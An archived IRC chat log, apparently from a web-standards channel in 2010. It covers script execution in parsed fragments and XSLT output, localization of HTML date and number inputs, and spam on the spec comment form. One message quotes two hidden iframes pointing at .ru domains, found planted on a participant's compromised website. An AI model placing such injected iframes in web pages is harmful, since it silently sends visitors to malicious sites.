[01:00:01.0000] <Hixie>
if we can get away with it just not executing scripts that sounds best to me

[01:00:02.0000] <hsivonen>
Hixie: currently, the main use case is emulating insertAdjacentHTML in browsers that don't have it *yet*

[01:01:00.0000] <Hixie>
in that case, yeah, not running scripts seems best

[01:01:01.0000] <Hixie>
(there are browsers with createContextualFragment but not insertAdjacentHTML?)

[01:01:02.0000] <hsivonen>
Hixie: but once insertAdjacentHTML is supported, if you think of createContextualFragment  as a standalone feature, it's a shortcut for building a DOM fragment

[01:01:03.0000] <hsivonen>
Hixie: Gecko

[01:01:04.0000] <Hixie>
wow, i thought iAH was a mozillaism

[01:01:05.0000] <Hixie>
shows what i know

[01:01:06.0000] <hsivonen>
Hixie: and if you built the DOM fragment manually, the scripts would be executable

[01:01:07.0000] <hsivonen>
so it's illogical for the shortcut to make scripts unexecutable

[01:01:08.0000] <Hixie>
well the same could be said of innerHTML

[01:01:09.0000] <hsivonen>
the scripts are executable in Firefox 3.6 and in Opera

[01:02:00.0000] <Hixie>
but it still blocks script execution

[01:02:01.0000] <hsivonen>
but not in WebKit

[01:02:02.0000] <hsivonen>
Hixie: only because other browsers cloned IE imprecisely and the execution prevention became the norm

[01:02:03.0000] <hsivonen>
for innerHTML that is

[01:03:00.0000] <Hixie>
innerHTML not running scripts is definitely a plus in my book, given how much that simplifies so many complicated things

[01:03:01.0000] <Hixie>
but anyway

[01:03:02.0000] <Hixie>
how does innerHTML stop script creation currently?

[01:03:03.0000] <Hixie>
does the fragment algorithm just block it?

[01:03:04.0000] <hsivonen>
if I were just lazy, preventing script execution for createContextualFragment would be easy, but I'm inclined to think that not preventing execution is the Right Thing

[01:05:00.0000] <hsivonen>
Hixie: the fragment parsing algorithm sets 'already started'

[01:05:01.0000] <Hixie>
oh, i see, the parser does

[01:05:02.0000] <Hixie>
hm, that makes parsing a flag a bit of a pain, but we could do it i guess

[01:05:03.0000] <Hixie>
tbh i'd strongly recommend just not running scripts unless you have a very clear use case that needs it. (i mean an actual use case, not "build a DOM" or "emulate this other API")

[01:06:00.0000] <Hixie>
running scripts in weird places is one of the main causes of there being arcane parts to the platform

[01:06:01.0000] <hsivonen>
Hixie: the annoying part is that people who've filed WebKit and Gecko bugs about this just say what behavior they want--not what their use case was

[01:06:02.0000] <Hixie>
yeah, i hear ya

[01:07:00.0000] <Hixie>
i'm battling the i18n wg as we speak over doing exactly that

[01:07:01.0000] <hsivonen>
Hixie: the current plan is the run scripts from fragments created by XSLTPrecessor, so we'd still have to support fragments with executable scripts

[01:07:02.0000] <hsivonen>
and of course manually built ones

[01:07:03.0000] <Hixie>
does anyone actually use xslt to generate scripts?

[01:07:04.0000] <Hixie>
that's just frightening

[01:08:00.0000] <hsivonen>
who knows what Dark Matter does with XSLTProcessor

[01:08:01.0000] <Hixie>
instrument the code and find out

[01:08:02.0000] <hsivonen>
Hixie: as for scripts created via <?xml-stylesheet?>, there's a Chrome Experement doing that

[01:09:00.0000] <hsivonen>
which is why the issue is now on my plate

[01:09:01.0000] <Hixie>
feel free to break chrome experiments

[01:09:02.0000] <Hixie>
i'm happy to take the blame at google for that

[01:10:00.0000] <hsivonen>
Hixie: I believe that would be against our privacy principles to instrument code without a Test Pilot opt-in

[01:10:01.0000] <Hixie>
sure, i wasn't suggesting doing it without user consent

[01:10:02.0000] <Hixie>
i just meant in a special build or something

[01:10:03.0000] <Hixie>
don't you have betas specifically for this purpose?

[01:10:04.0000] <Hixie>
i mean, instrumented betas

[01:10:05.0000] <Hixie>
not necessarily the main beta line

[01:11:00.0000] <hsivonen>
I'm not aware of Mozilla doing intrumented betas

[01:11:01.0000] <Hixie>
ah

[01:11:02.0000] <Hixie>
well

[01:11:03.0000] <Hixie>
get the chrome team to do it

[01:11:04.0000] <hsivonen>
and even if we did, there'd be the problem of getting Dark Matter users to use them

[01:11:05.0000] <Hixie>
abarth will likely be happy to set it up

[01:11:06.0000] <Hixie>
what's Dark Matter? I thought you just meant random people Out There.

[01:11:07.0000] <hsivonen>
Hixie: enterprise intranets

[01:12:00.0000] <hsivonen>
or extranets

[01:12:01.0000] <abarth>
you're going to run scripts from fragments?

[01:12:02.0000] <abarth>
that seems crazy :)

[01:12:03.0000] <Hixie>
yeah well if we're going to live in fear of breaking enterprise intranets, we'll just end up in analysis paralysis

[01:12:04.0000] <hsivonen>
abarth: is non-running in WebKit by design or by accident?

[01:13:00.0000] <hsivonen>
Hixie: why would be go ahead and break stuff that used to work just for the sake of making scripts run less?

[01:13:01.0000] <hsivonen>
s/be/we/

[01:13:02.0000] <abarth>
there are architectural problems with running scripts without a frame in webkit

[01:13:03.0000] <abarth>
the JavaScript engine can do it

[01:14:00.0000] <hsivonen>
abarth: oh, I don't mean running scripts while they aren't in a DOM that's in a browsing contenxt

[01:14:01.0000] <abarth>
but the code that knows how to talk to the JavaScript engine would be very confused

[01:14:02.0000] <hsivonen>
*context

[01:14:03.0000] <Hixie>
hsivonen: making scripts run less seems like a goal in and of itself to me. certainly in weird places like xslt where the security and interoperability implications are rather esoteric and not necessarily understood by many people.

[01:14:04.0000] <hsivonen>
abarth: I mean running scripts when a fragment is inserted into a DOM that's being displayed in a browsing context

[01:14:05.0000] <hsivonen>
which reminds me that I was about to file a spec bug about not running scripts that are in a document but the document doesn't have a browsing context

[01:14:06.0000] <abarth>
ah, that's technically feasible

[01:15:00.0000] <Hixie>
abarth: the specific case we're talking about instrumenting is the output of XSLT transforms that contain scripts

[01:15:01.0000] <hsivonen>
abarth: see http://hsivonen.iki.fi/test/moz/scripts/

[01:15:02.0000] <abarth>
scripts = script tags ?

[01:15:03.0000] <abarth>
or do inline event handlers count too?

[01:15:04.0000] <Hixie>
i think in gecko it creates an actual dom

[01:15:05.0000] <hsivonen>
abarth: script nodes

[01:15:06.0000] <hsivonen>
abarth: http://hsivonen.iki.fi/test/moz/scripts/createContextualFragment.html

[01:16:00.0000] <Hixie>
anyway, if xslt is defined in terms of just creating a dom or a serialisation that's then parsed, it seems that this all just falls out of the spec as is

[01:16:01.0000] <hsivonen>
abarth: http://hsivonen.iki.fi/test/moz/scripts/XSLTProcessor-transformToFragment.html

[01:16:02.0000] <Hixie>
how is xslt defined? (is it defined?)

[01:16:03.0000] <hsivonen>
abarth: those two run the script in Firefox 3.6 and in Opera 10.63 but not in WebKit

[01:16:04.0000] <abarth>
i think all these code paths chase down the same path as innerHTML

[01:16:05.0000] <abarth>
for inline scripts

[01:17:00.0000] <abarth>
the parser is responsible for kicking off script execution

[01:17:01.0000] <hsivonen>
abarth: it's easy to see how you'd accidentally make createContextualFragment prevent execution by reusing innerHTML infrastructure

[01:17:02.0000] <abarth>
but it doesn't do that if there's no frame

[01:17:03.0000] <hsivonen>
abarth: but http://hsivonen.iki.fi/test/moz/scripts/XSLTProcessor-transformToFragment.html is different

[01:17:04.0000] <abarth>
to answer your question, i have no idea whether its intentional

[01:17:05.0000] <hsivonen>
abarth: ok

[01:18:00.0000] <abarth>
i think XSLT was added because someone at IBM complained

[01:18:01.0000] <abarth>
i'm not sure how many people actually care about it

[01:20:00.0000] <Hixie>
IE's behaviour on http://www.hixie.ch/tests/adhoc/dom/level0/timers/nph-010-demo.html is shocking to me

[01:21:00.0000] <Hixie>
does IE really wait until the document is entirely loaded before doing anything?

[01:21:01.0000] <Hixie>
surely i'm just doing something wrong

[01:22:00.0000] <hsivonen>
Hixie: fwiw, I believe the closest thing to an XSLTProcessor spec is https://developer.mozilla.org/en/Using_the_Mozilla_JavaScript_interface_to_XSL_Transformations

[01:23:00.0000] <Hixie>
well transformToDocument should definitely not run the scripts

[01:24:00.0000] <Hixie>
but i guess if you want the "already executed" flag to not be set, so long as the execution only happens once the stuff is inserted into the real document and not the innerHTML document, i guess we could finagle that

[01:25:00.0000] <Hixie>
it'd be a bit of a hack... the reason the spec right now sets "already executed" the way it does, in addition to being ok for compat for innerHTML, is that the Document it's parsing into has no global scope

[01:25:01.0000] <Hixie>
so it can't run script anyway

[01:26:00.0000] <abarth>
what's the benefit of running scripts?

[01:27:00.0000] <Hixie>
it's unclear to me that there is one

[01:27:01.0000] <hsivonen>
abarth: at least jQuery goes through trouble to make itself a fragment parser that does run scripts

[01:27:02.0000] <Hixie>
i'd much rather just not run them

[01:28:00.0000] <abarth>
interesting

[01:28:01.0000] <hsivonen>
JohnResig: do you have input for use cases for or against createContextualFragment creating executable scripts?

[01:28:02.0000] <abarth>
i still think we should have some way of parsing a fragment that lets you whitelist tags and attributes

[01:29:00.0000] <abarth>
its not really related, but its very popular in server-side frameworks

[01:29:01.0000] <hsivonen>
though it's unclear if jQuery would benefit from the behavior that would result from createContextualFragment creating executable script nodes, because those scripts wouldn't execute in order when the fragment is inserted to the DOM

[01:30:00.0000] <abarth>
:)

[01:31:00.0000] <hsivonen>
it would be so nice if people filing these bugs said more about their higher-level use cases

[01:33:00.0000] <Hixie>
agreed

[01:47:00.0000] <hsivonen>
I asked the reporters to elaborate on their use cases in both bugzillas

[01:56:00.0000] <zcorpan>
whatwg.org is really really slow for me. just me?

[02:31:00.0000] <antti_s>
are there any plans for localization eg. on input type="number"s or type="date"s? 

[02:48:00.0000] <zcorpan>
hmm i realized that importScripts is sync

[02:51:00.0000] <jgraham>
Oh

[02:51:01.0000] <jgraham>
I was just going to say I liked that idea

[02:51:02.0000] <jgraham>
No I don't anymore

[02:51:03.0000] <jgraham>
*Now

[03:12:00.0000] <MikeSmith>
zcorpan: whatwg.org seems to be responding normally to me

[03:12:01.0000] <MikeSmith>
at least the spec, wiki, and mailing-list archives

[03:15:00.0000] <hsivonen>
MikeSmith: whatwg.org is not working properly for me

[03:15:01.0000] <hsivonen>
"The server at www.whatwg.org is taking too long to respond."

[03:17:00.0000] <MikeSmith>
/me trries some other browsers

[03:18:00.0000] <MikeSmith>
hsivonen: seems to be working the same for me in every browser I've tried so far

[03:19:00.0000] <MikeSmith>
which is to say, responding normally

[03:19:01.0000] <MikeSmith>
including in WebKit with the "Disable Caches" option set

[03:20:00.0000] <MikeSmith>
(which seems to be the bestest was to test if stuff is actually being served from the source and not from a cache)

[03:21:00.0000] <MikeSmith>
is an Opera 11 snapshot available yet?

[03:22:00.0000] <zcorpan>
no

[03:22:01.0000] <MikeSmith>
ok

[03:23:00.0000] <jgraham>
MikeSmith: http://my.opera.com/desktopteam/blog/ is the best place to look, in general

[03:23:01.0000] <MikeSmith>
ok

[03:24:00.0000] <MikeSmith>
btw, if  there is somebody in particular to whom I should address Dragonfly bugs, please let me know

[03:24:01.0000] <MikeSmith>
*Dragonfly bug reports

[03:27:00.0000] <MikeSmith>
Hallvord?

[03:27:01.0000] <MikeSmith>
oh wait

[03:27:02.0000] <MikeSmith>
"If you are on BitBucket please follow Opera Dragonfly, and feel free to report new issues there."

[03:27:03.0000] <MikeSmith>
http://my.opera.com/hallvors/blog/2010/10/20/dragonfly-feedback-follow-up

[03:28:00.0000] <MikeSmith>
so I will feel free and do that

[03:28:01.0000] <jgraham>
virtuelv: ^

[03:29:00.0000] <MikeSmith>
ah

[03:30:00.0000] <MikeSmith>
damn, there's like 7 different dragonfly branches at bitbucker

[03:30:01.0000] <MikeSmith>
bitbucket

[03:30:02.0000] <MikeSmith>
jgraham: thanks

[03:34:00.0000] <MikeSmith>
ah, Christian Krebs

[03:34:01.0000] <MikeSmith>
I guess

[04:26:00.0000] <hsivonen>
hmm. I wonder if I'm testing IE9 wrong when I try to remove documentElement from a document

[04:33:00.0000] <hsivonen>
nope, that wasn't the problem

[04:37:00.0000] <hsivonen>
I see no logic in script execution in WebKit

[04:37:01.0000] <hsivonen>
most things make scripts not run, but this doesn't: http://hsivonen.iki.fi/test/moz/scripts/createDocument.html

[04:53:00.0000] <rmccue>
Anyone know about the html5lib for PHP?

[04:55:00.0000] <crash\>
as far as I can't tell there isn't

[04:55:01.0000] <crash\>
no HTML5 parser for PHP

[04:55:02.0000] <jgraham>
Yes, it exists

[04:55:03.0000] <jgraham>
No I don't know much about it

[04:55:04.0000] <gsnedders>
rmccue: Yes.

[04:56:00.0000] <rmccue>
crash\: Part of http://code.google.com/p/html5lib/

[04:56:01.0000] <rmccue>
gsnedders: Why, hello you.

[04:56:02.0000] <gsnedders>
rmccue: ;P

[04:56:03.0000] <crash\>
ah

[04:56:04.0000] <crash\>
I though this is only Python

[04:56:05.0000] <gsnedders>
rmccue: Where do you think I hang out, if not channels like this? :)

[04:56:06.0000] <rmccue>
gsnedders: I had no idea you were awake.

[04:57:00.0000] <gsnedders>
rmccue: It's midday.

[04:57:01.0000] <crash\>
0.1 pretty outdated

[04:57:02.0000] <gsnedders>
But yes, ask your question.

[04:58:00.0000] <rmccue>
It's returning blank DOMDocument/DOMNodeList objects for me.

[04:58:01.0000] <gsnedders>
Oh, nice.

[04:59:00.0000] <gsnedders>
Disclaimer: I've not touched html5lib/php in over a year

[04:59:01.0000] <rmccue>
Wait, maybe not.

[04:59:02.0000] <rmccue>
You mention the latter on a regular interval.

[05:00:00.0000] <gsnedders>
In a, "hey, rmccue, you should take it over" way :P

[05:00:01.0000] <rmccue>
OK, nevermind, it is working. PHP just sucks.

[05:00:02.0000] <rmccue>
Sure, but I hardly have time for anything else, let alone a HTML5 parser. :P

[05:00:03.0000] <gsnedders>
rmccue: Bogus bug report.

[05:01:00.0000] <rmccue>
Status: Invalid. Reason: PEBKAC

[06:03:00.0000] <david_carlisle>
Hixie: does anyone actually use xslt to generate scripts? 

[06:04:00.0000] <david_carlisle>
hixie: you mean generate an (x)html script element in the result document from xslt? if so yes, if you mean something else then I don't know:-)

[06:12:00.0000] <hsivonen>
david_carlisle: it's known that people use <?xml-stylesheet?>-invoked XSLT to create (X)HTML script elements

[06:12:01.0000] <hsivonen>
david_carlisle: however, the interesting bit is if people use XSLTProcessor to create script nodes

[06:13:00.0000] <hsivonen>
david_carlisle: like this: http://hsivonen.iki.fi/test/moz/scripts/XSLTProcessor-transformToFragment.html

[06:18:00.0000] <david_carlisle>
hsivonen: people who use xslt clearly have taste and don't go in for all this imperative  DOM scripting p.appendChild nonsense.  (This isn't being archived is it:-)

[06:20:00.0000] <david_carlisle>
I have no idea, I doubt there are many instances of that,  would it have been possible to get something like that working in previous versions of ie and firefox 9say)

[06:20:01.0000] <david_carlisle>
cross browser conserns tend to limit people being too adventurous in teh way they mix script and xslt in my experience

[06:21:00.0000] <MikeSmith>
I think the xslt+scripting has gotten better support across browsers in the last few years

[06:21:01.0000] <hsivonen>
david_carlisle: I haven't tested, but I assume that in IE it's not possible to move nodes from ActiveX-owned DOMs to the browser DOMs

[06:21:02.0000] <MikeSmith>
and browsers have node-set() and document() sanely supportd

[06:22:00.0000] <hsivonen>
david_carlisle: so if one used the IE XSLT API instead of XSLTProcessor(), adopting the node would fail

[06:29:00.0000] <MikeSmith>
does anybody know if there has actually be any serious new movement in TC39 towards getting a binary data type added?

[06:29:01.0000] <MikeSmith>
is it on the agenda for the f2f next month?

[06:30:00.0000] <david_carlisle>
I could ask on xsl-list but that's probably not really the right audience, I think such usage is more likely buried in the libraries like sarissa that tried to hide a lot of the complexity. 

[06:42:00.0000] <MikeSmith>
hsivonen: thanks for http://hg.mozilla.org/projects/htmlparser/rev/b0fe4ac38a02

[06:43:00.0000] <hsivonen>
MikeSmith: you're welcome. sorry that I'm so slow

[06:43:01.0000] <MikeSmith>
no problem

[06:44:00.0000] <MikeSmith>
I am months behind on the vnu stuff I've meant to check in myself

[06:44:01.0000] <MikeSmith>
e.g., the changes to jing

[06:44:02.0000] <timeless_mbp>
/me needs to get a hotel room

[06:44:03.0000] <MikeSmith>
for reporting required-but-missing attributes

[06:44:04.0000] <hsivonen>
timeless_mbp: for TPAC?

[06:45:00.0000] <timeless_mbp>
yeah

[06:45:01.0000] <timeless_mbp>
you going?

[06:45:02.0000] <hsivonen>
timeless_mbp: there's http://www.hoteldescongres.com/ and then there are the W3C-recommended hotels

[06:45:03.0000] <hsivonen>
timeless_mbp: other hotels nearby are either expensive or have gotten terrible reviews, AFAICT

[06:45:04.0000] <MikeSmith>
hsivonen: minor typo in your javadoc comment for the InfosetCoercingHtmlParser class

[06:46:00.0000] <MikeSmith>
"This is convenient then another JavaThis is convenient then another Java"

[06:46:01.0000] <timeless_mbp>
oh, yeah, it's just a matter of finding my hilton number and asking an assistant to get me a room

[06:46:02.0000] <MikeSmith>
should be "when another Java"

[06:46:03.0000] <hsivonen>
timeless_mbp: yes, I'm going

[06:46:04.0000] <MikeSmith>
anybody know if Jonas is going?

[06:46:05.0000] <timeless_mbp>
can't you cheat?

[06:46:06.0000] <timeless_mbp>
there's a survey form

[06:47:00.0000] <MikeSmith>
/me forgot to ask Jonas when he chatted earlier

[06:47:01.0000] <MikeSmith>
yeah, I guess I could check

[06:47:02.0000] <MikeSmith>
not everybody registers by the deadline

[06:47:03.0000] <hsivonen>
MikeSmith: fixed. Thanks

[06:47:04.0000] <MikeSmith>
I think I have not registered yet myself

[06:47:05.0000] <timeless_mbp>
well maybe he isn't trying to waste money?

[06:47:06.0000] <MikeSmith>
hsivonen: nop

[06:47:07.0000] <MikeSmith>
np

[06:49:00.0000] <timeless_mbp>
MikeSmith:   tsk

[06:51:00.0000] <timeless_mbp>
is there a negotiated rate for the hilton?

[06:52:00.0000] <timeless_mbp>
oh, no, only for the other one

[06:56:00.0000] <timeless_mbp>
/me goes back to getting confused

[07:04:00.0000] <annevk>
MikeSmith, when are we publishing?

[07:05:00.0000] <annevk>
MikeSmith, Ms2ger found a bug in html5-diff that I can fix

[07:05:01.0000] <annevk>
MikeSmith, but I guess I need a date

[07:15:00.0000] <MikeSmith>
we are publishing as soon as our webmaster is able to get stuff in place

[07:15:01.0000] <MikeSmith>
and comm team can do the announcement thing

[07:15:02.0000] <MikeSmith>
annevk: ↑

[07:15:03.0000] <MikeSmith>
what's the bug?

[07:15:04.0000] <MikeSmith>
I can fix it in place

[07:15:05.0000] <MikeSmith>
if you give me a diff

[07:16:00.0000] <MikeSmith>
or if you check in a fix i will make a diff and apply it to the WD

[07:19:00.0000] <annevk>
MikeSmith, if you can remove the line <li><code>s</code>

[07:20:00.0000] <annevk>
MikeSmith, <s> was mentioned both in changed and absent elements, it should be removed from absent

[07:20:01.0000] <antti_s>
hey, are there any thoughts about bringing in localization for eg. type="numbers" and type="date"s?

[07:21:00.0000] <annevk>
that's a UA feature

[07:21:01.0000] <annevk>
the format defined in the specification is for submission and the server only

[07:23:00.0000] <hsivonen>
FWIW, UA-side localization has the same problem as trying to localize the display format of <time>

[07:23:01.0000] <annevk>
MikeSmith, gotta go now, but it's the line "<li><code>s</code>" afaik

[07:23:02.0000] <MikeSmith>
annevk: yeah, got it

[07:23:03.0000] <hsivonen>
if you go to a U.S. English site and see a number field that says "2,000" what does it mean?

[07:23:04.0000] <MikeSmith>
have already checked in the change to the WD

[07:23:05.0000] <annevk>
MikeSmith, great thanks

[07:23:06.0000] <hsivonen>
does it mean two thousand in the site's locale?

[07:23:07.0000] <annevk>
MikeSmith, ttyl

[07:23:08.0000] <MikeSmith>
cheers

[07:24:00.0000] <hsivonen>
or 2 in the UA's locale?

[07:24:01.0000] <annevk>
hsivonen, I think we should base UA localization on the document language

[07:24:02.0000] <annevk>
hsivonen, rather than the user language

[07:24:03.0000] <hsivonen>
annevk: so UAs would need a database of number formats associated with all existing language tags?

[07:25:00.0000] <annevk>
yeah

[07:26:00.0000] <hsivonen>
OTOH, for a date picker it would be OK to display the month name in the user's language as a word, since there'd be no ambiguity

[07:26:01.0000] <antti_s>
ehh... there still might be a need to input a date in an arbitrary format that is not the same as the document's language

[07:27:00.0000] <hsivonen>
antti_s: the expected UI for input type=date is a date picker

[07:27:01.0000] <hsivonen>
with date pickers there's the issue of starting weeks on Sunday vs. Monday

[07:28:00.0000] <antti_s>
hsivonen: so the date format used after selecting the date is a browser vendor's problem

[07:28:01.0000] <antti_s>
used/displayed

[07:28:02.0000] <hsivonen>
input type=week uses ISO weeks, but input type=date for en-US could conceivable use Sunday-based week layout

[07:29:00.0000] <hsivonen>
antti_s: the date format communicated between the browser and the site is always YYYY-MM-DD

[07:29:01.0000] <hsivonen>
antti_s: browsers are allowed to compete on how they render it to the users

[07:30:00.0000] <antti_s>
hsivonen: ok, 10-4 :)

[07:30:01.0000] <antti_s>
hsivonen: should the similar approach be used also on type=numbers

[07:31:00.0000] <hsivonen>
antti_s: see Opera for how type=date is supposed to work (except it should be prettier than in Opera)

[07:31:01.0000] <antti_s>
hsivonen: currently it bugs me that using commas as decimal separators does not work, apparently because of the sanitization algorithm

[07:31:02.0000] <hsivonen>
antti_s: the UA is allowed to expose a decimal comma to the user as long as a decimal point is used between the browser and the server

[07:32:00.0000] <hsivonen>
/me wishes all countries just standardized on a decimal point so we could get rid of this gratuitous incompatibility

[07:32:01.0000] <antti_s>
hsivonen: ok, thanks a much, this was really valuable information (that i didn't seem to find myself from the specs) :)

[07:48:00.0000] <antti_s>
hsivonen: can you give any pointers to where i should look up information related to this UA/datepicker/decimal-separator stuff?

[08:03:00.0000] <hsivonen>
antti_s: the rendering constrains are pretty much what's said in http://www.whatwg.org/specs/web-apps/current-work/#the-input-element-as-domain-specific-widgets

[08:05:00.0000] <hsivonen>
antti_s: also see the rightmost column in http://www.whatwg.org/specs/web-apps/current-work/#attr-input-type-keywords

[08:05:01.0000] <hsivonen>
antti_s: the spec isn't particularly clear on what's allowed here, because readers are supposed to know that the spec doesn't try to prescribe browser UI

[08:05:02.0000] <hsivonen>
Hixie: the spec could be clearer here

[08:07:00.0000] <antti_s>
hsivonen: thank you, very much appreciated. i'll look in to those.

[08:11:00.0000] <hsivonen>
antti_s: filed a bug as http://www.w3.org/Bugs/Public/show_bug.cgi?id=11107

[10:18:00.0000] <karlcow>
I wonder if bugzilla recycled the id of deleted issues which were initially created as spam. (not very important though, just curious) 

[10:20:00.0000] <Philip`>
/me is getting tired of the bug spam being posted to public-html

[10:20:01.0000] <Philip`>
Oh, Julian already said that

[10:20:02.0000] <jgraham>
/me filters the bugs into a different folder

[10:21:00.0000] <jgraham>
I actually think this setup is much better than it was before

[10:22:00.0000] <jgraham>
Although of course it would be even better with no spam

[10:23:00.0000] <karlcow>
/me doesn't move his mails in folders

[10:24:00.0000] <karlcow>
hmm not exactly true

[10:25:00.0000] <karlcow>
procmail is moving all my mails into monthly dated space folders. /2010/09/, /2010/10/, etc.

[10:26:00.0000] <jgraham>
Eep

[10:26:01.0000] <jgraham>
How do you live with that?

[10:26:02.0000] <karlcow>
then I create dynamic/smart folders 

[10:26:03.0000] <jmartelatpapirux>
karlcow, how do you do so?

[10:26:04.0000] <karlcow>
because my contexts evolve little by little

[10:26:05.0000] <karlcow>
so I destroy/create dynamic folders

[10:26:06.0000] <jgraham>
karlcow: Presumably those are limited to a single client though?

[10:27:00.0000] <jgraham>
/me mostly filters by mailing list into honest-to-goodness imap folders

[10:27:01.0000] <karlcow>
Apple Mail with an imap server :) 

[10:28:00.0000] <jmartelatpapirux>
Oh, my!

[10:29:00.0000] <karlcow>
I have done this organization for… 3 years now (I think), I have never been happier. A lot, lot better. One mail can be in many different contexts

[10:31:00.0000] <jgraham>
Maybe you are just ahppier by coincidence and if you used the old mail classification scheme you would be even happier still :)

[10:32:00.0000] <jmartelatpapirux>
Coincidences do simply not exist.

[10:33:00.0000] <karlcow>
I have mostly all my mails since around 1991 (except those I have erase by choice or by mistake), and dated space is a metaphor which suits me.

[10:35:00.0000] <karlcow>
it has another benefits, it limits the number of files on the filesystems by folder. The 500,000+ emails are nicely distributed 

[11:27:00.0000] <jmartelatpapirux>
Au revoir

[11:45:00.0000] <TabAtkins_>
Philip`: I *love* seeing all the mail.  What I don't love is that almost all of the anon mail from the W3C spec is spam.  We should just turn that one off.

[11:46:00.0000] <TabAtkins_>
gsnedders: I did the IR with 6 because I thought I had to use a public build.  There was some discussion about using more recent builds, but I didn't see anything about changing the requirements written in the spec, so I went with what the spec said.

[11:50:00.0000] <TabAtkins_>
And 6 was the public build a few weeks ago.

[11:53:00.0000] <Philip`>
TabAtkins_: How can you tell it's from the W3C spec?

[11:53:01.0000] <TabAtkins_>
Philip`: They all have the section of http://www.whatwg.org/specs/web-apps/current-work/#top

[11:53:02.0000] <TabAtkins_>
I thought that the w3c version always did that?

[11:54:00.0000] <TabAtkins_>
/me might be wrong.

[11:54:01.0000] <TabAtkins_>
In any case, flagging anything from #top specially so it needs moderation before hitting the list would fix almost all of the spam problems.

[11:54:02.0000] <Philip`>
/me has no idea

[11:54:03.0000] <TabAtkins_>
Alternately, just not allowing bugs to be filed on #top.

[11:59:00.0000] <TabAtkins_>
Philip`: Yeah, there's no #top in the whatwg copy, and the w3c comments form explicitly indicates its id as "top" in a hidden input.

[12:48:00.0000] <jgraham>
Isn't 80% spam considerably better than email in general?

[12:48:01.0000] <jgraham>
Of course no one has tried to use it for really maliciuos purposes yet

[12:49:00.0000] <AryehGregor>
If you don't account for spam filtering, yes.

[12:49:01.0000] <jgraham>
(and I agree it should be fixed, in case there is any doubt)

[12:49:02.0000] <AryehGregor>
80% spam actually ending up in anyone's mailbox is a lot worse than e-mail in general, I hope.

[12:49:03.0000] <jgraham>
Sure

[12:50:00.0000] <jgraham>
One could try using the same spam filtering here

[12:50:01.0000] <jgraham>
If one wanted a complex technical solution

[12:50:02.0000] <Hixie>
we reduced the spam on the whatwg form by having some JS count the spaces and stuff

[12:50:03.0000] <Hixie>
we could do the same here if that would help

[12:51:00.0000] <Hixie>
i just tried a quick hack

[12:51:01.0000] <othermaciej>
I did notice that many of the spam bugs do not contain a space

[12:51:02.0000] <Hixie>
that didn't have JS

[12:51:03.0000] <Hixie>
but i can add JS

[12:52:00.0000] <jgraham>
I was actually just going to suggest some "minimal useful comment" metric

[12:53:00.0000] <jgraham>
as a simple technical solution

[12:56:00.0000] <Hixie>
i'll hack something in

[12:56:01.0000] <AryehGregor>
I once had a comment rejected for being too short (in the WHATWG version), so don't we have such a thing already?

[12:56:02.0000] <Hixie>
see above, teh w3c one doesn't have that code

[12:57:00.0000] <TabAtkins_>
Anything to stop the "asdfasdf"-style comments would be greatly welcome.  It would be extra awesome if it silently discarded messages that super-failed the metric you used, to discourage just altering the message to have more asdf.  (Alerting about the message when it merely somewhat fails the metric is good, though.)

[12:58:00.0000] <AryehGregor>
I think you should always alert.

[12:58:01.0000] <AryehGregor>
If it's a real human doing it, it's unlikely to be a big problem.

[12:58:02.0000] <AryehGregor>
Unless we get hardcore vandalism problems.

[12:59:00.0000] <TabAtkins_>
In which case, reverting to the previous hurdle of "have to email the group or submit a bug yourself" is sufficient.

[12:59:01.0000] <AryehGregor>
Yes.

[12:59:02.0000] <AryehGregor>
But that's not necessary yet.

[13:01:00.0000] <jgraham>
/me wonders how far along the path of "determine if a given string is likely a valid sentence in English" current AI/NLP will get you

[13:01:01.0000] <jgraham>
Not as a very practical solution but because it seems interesting

[13:02:00.0000] <Philip`>
You could probably get a long way just with a spellchecker

[13:03:00.0000] <AryehGregor>
I forgive Google Safe Browsing for all the false positives I've ever seen from it.

[13:03:01.0000] <Moo-_->
jgraham: just sample all text from digg.com and match against it. if it matches it is *not* valid english :)

[13:03:02.0000] <AryehGregor>
I just got a warning for a site I administer named bridgeshul.com, and indeed . . . <iframe src="http://eftpsid0342943.ru/contacts/s3" width=1 height=1></iframe><iframe src="http://eftpsid0343233.ru/contacts/s3"></iframe>

[13:03:03.0000] <jgraham>
Philip`: That was actually where my train of thought started

[13:03:04.0000] <AryehGregor>
Maybe I should switch to a host that doesn't require you to use FTP to administer the site.

[13:04:00.0000] <jgraham>
Submit to a webservice that returns the fraction of the tokens that are recognised english words

[13:06:00.0000] <Philip`>
/me wonders what fraction the HTML5 spec would score on such a test

[13:08:00.0000] <Hixie>
ok i've updated the form, give it a few minutes to regen and commit

[13:20:00.0000] <AryehGregor>
/me discovers his host allows SFTP

[15:02:00.0000] <hober>
I'm pretty sure Mark will laugh about this eventually http://twitter.com/hober/statuses/27964564498

[15:50:00.0000] <GPHemsley>
Hixie: Not an especially high priority, but there is a semicolon missing here: http://www.w3.org/Style/css2-updates/css2/changes.html#q457

[15:50:01.0000] <Hixie>
i don't edit that file anymore

[15:50:02.0000] <Hixie>
TabAtkins_ might though

[15:51:00.0000] <GPHemsley>
oh... perhaps that should be made clearer in the header? :)

[15:52:00.0000] <Hixie>
*shrug* :-)


2010-10-21
[17:10:00.0000] <hober>
"I'm not going to go all 'hixie' on your asses." -- shane mccarron, http://lists.w3.org/Archives/Public/public-rdfa-wg/2010Oct/0239.html

[17:10:01.0000] <Dashiva>
I'm not convinced that's a good thing

[17:58:00.0000] <Hixie>
hober: if that isn't him "going hixie" i wonder what "going hixie" looks like

[17:59:00.0000] <Dashiva>
Probably involves more three-level step-by-step algorithms

[18:24:00.0000] <Hixie>
Dashiva: something tells me that's not what he meant

[18:28:00.0000] <hober>
Hixie: indeed

[18:34:00.0000] <MikeSmith>
perhaps he meant it involves writing good specs in general

[18:35:00.0000] <MikeSmith>
ones that address market needs

[18:35:01.0000] <MikeSmith>
and solve real problems

[18:53:00.0000] <nessy>
and generally getting shit done ;)

[19:09:00.0000] <MikeSmith>
I think the sound of "Ostanite mirni i stvorili stvari." is beautiful

[19:10:00.0000] <MikeSmith>
that is the best-sounding way to say it in any language I have tried so far

[19:16:00.0000] <nimbupani>
MikeSmith: that sounds like R2D2-speak to me :|

[19:17:00.0000] <MikeSmith>
heh

[19:18:00.0000] <MikeSmith>
"stvo" and "stva" are great ways to start words

[19:38:00.0000] <karlcow>
wow, that's totally innapropriate

[19:55:00.0000] <nessy>
google translate reckons it's serbian - cute!

[20:03:00.0000] <MikeSmith>
google translate usually does a pretty good job at guessing

[20:04:00.0000] <MikeSmith>
I wonder how much it reads in and analyzes before it makes a determination

